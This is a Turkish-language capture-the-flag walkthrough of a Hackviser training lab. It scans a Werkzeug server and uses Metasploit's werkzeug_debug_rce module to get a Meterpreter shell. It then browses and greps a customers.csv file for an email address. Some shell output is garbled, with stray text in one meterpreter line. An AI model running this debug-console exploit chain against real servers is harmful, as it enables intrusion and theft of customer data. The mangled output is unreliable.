

WORK STUFF ISINMASI

INFO: Werkzeug, Python tabanlı bir web uygulama araç setidir ve popüler web frameworkleri tarafından kullanılır. Esneklik ve modülerlik sağlayarak HTTP protokolüyle ilgili birçok karmaşık işlevi kolaylaştırır. Werkzeug kullanılarak oluşturulan web uygulamalarının güvenlik zafiyetlerini anlama ve bu zafiyetleri Metasploit Framework aracılığıyla istismar etme ile ilgili alıştırılmalar yapmak için önerilir.

1. 80 portunda çalışan WSGI web uygulama kütüphanesi nedir?

Bilgi: nmap atılır ve çalışan kütüphane öğrenilir.

```
root@hackerbox:~# nmap -sV 172.20.4.37
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-03 10:38 CDT
Nmap scan report for 172.20.4.37
Host is up (0.00028s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http      Werkzeug httpd 1.0.1 (Python 3.9.2)
MAC Address: 52:54:00:96:B6:E0 (QEMU virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.55 seconds
```

2. Hata ayıklama modu etkinse hangi dizine erişilebilir?

Bilgi: Werkzeug'un eğer debug (hata ayıklama) modu etkinse /console yoluna erişilebilir.

3. Hangi CLI aracı Exploit DB'de exploitleri arayabilir?

Bilgi: searchsploit aracı arar.

4. Exploitler, payloadlar ve çeşitli tarama komut dosyaları ile zengin bir içerik sunan CLI aracının adı nedir?

Bilgi: metasploit framework – msfconsole aracı

5. Werkzeug ile ilgili bulunan exploitin açıklanma tarihi nedir?

Bilgi: Önce msfconsole'a bağlanılır(msfconsole -q {bash}) ardından "werkzeug" ile yayınlanmış exploit var mı kontrol edilir ve ulaşılır.

```
msf6 > search werkzeug
Matching Modules
=====
#    Name                                Disclosure Date  Rank    Check
#----
0    auxiliary/analyze/crack_webapps        2015-06-28      normal  No
1    exploit/multi/http/werkzeug_debug_rce  2015-06-28      excellent Yes
Werkzeug Debug Shell Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/multi/http/werkzeug_debug_rce
```

6. Bir exploitin gerçekten çalışmadan önce çalışıp çalışmayacağını kontrol etmek için msfconsole komutu nedir?

Bilgi: check komutudur.

7. Hangi dosyada müşteriler ile ilgili bilgiler vardır?

Bilgi: exploite bağlanılır ardından dosyaya erişilmeye çalışılır.

- Use komutu ile kullanılmak istenen exploit seçilir.
- Show options komutu ile gerekli konfigürasyon ayarları yapılır.
- Check komutu ile çalışıp çalışılmayacağı kontrol edilir.
- Exploit komutu exploit çalıştırılır.
- Exploit çalışır, root/uploads dizininde müşteriler ile ilgili bilgiler barındıran dosya bulunur.

```
meterpreter > cd root/uploads
[-] stdapi_fs_chdir: Operation failed: Python exception: FileNotFoundError
meterpreter>.lsase\\r\\n\\r\\n" | nc localhost 80
Listing: /root/alto/uploads
=====
Mode                Size      Type    Last modified                Name
----                -
100644/rw-r--r--    11266   fil     2023-10-10 02:53:24 -0500    customers.csv
meterpreter > 
```

8. Ayın en iyi müşterisinin e-posta adresi nedir?

Bilgi: customers.csv indirilerek okunur.

```
[*] 172.20.4.37 - Meterpreter session 1 closed. Reason: User exit
msf6 exploit(multi/http/werkzeug_debug_rce) > exit
root@hackerbox:~#
#grep 'best' customers.csv
Christine Nolan;nolan.christine@protonmail.net;0845 46 44;United Kingdom;728-538 Ligula. St.;16.04.1
996;38260,01;best customer of the month
root@hackerbox:~#
```

-ISINMA TAMAMLANDI-

Tebrikler

SweepingSpeedball56 Hackviser'in Work Stuff ısınmasını başarıyla tamamladı